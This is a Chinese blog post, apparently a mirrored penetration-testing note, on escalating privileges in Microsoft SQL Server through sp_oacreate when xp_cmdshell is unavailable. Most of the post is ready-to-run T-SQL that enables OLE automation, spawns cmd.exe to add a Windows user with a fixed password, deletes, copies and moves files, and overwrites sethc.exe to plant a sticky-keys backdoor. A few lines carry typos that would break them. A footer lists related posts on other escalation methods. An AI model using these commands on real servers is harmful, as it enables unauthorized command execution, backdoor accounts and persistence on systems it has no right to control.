美文网首页sql注入
【提权】MSSQL提权之sp_oacreate

【提权】MSSQL提权之sp_oacreate

作者: Pino_HD | 来源:发表于2018-04-23 09:49 被阅读182次

0x01 前提

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

0x02 开启sp_oacreate

开启

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;

关闭

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

0x03 直接写用户

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" '
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test pinohd123. /add', 'c:\windows\system32', '','1';

0x04 其他操作

删除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token

复制文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'

移动文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'

替换粘滞键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo i=out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'

相关文章

  • 【提权】MSSQL提权之sp_oacreate

    0x01 前提 如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。 0x02 ...

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • 【提权】MSSQL提权之xp_cmdshell

    0x01 前提 getshell或者存在sql注入并且能够执行命令。 sql server是system权限,sq...

  • 【提权】MySQL提权之MOF

    0x01 前言 Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件: ...

  • 【提权】MySQL提权之UDF

    0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。...

  • mysql提权之mof提权

    拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权 首先介绍mof提权,直...

  • mysql提权之udf提权

    提权的前提 mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下...

  • linux 提权-Crontab提权

    前言 记录一下linux提权系列的Crontab计划任务提权的学习过程。 crontab 命令 crontab命令...

  • linux 提权-SUID提权

    前言 最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。 权限解读 先来父复习一下l...

  • linux 提权-sudo提权

    前言 最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势...

网友评论

    本文标题:【提权】MSSQL提权之sp_oacreate

    本文链接:https://www.haomeiwen.com/subject/lnbclftx.html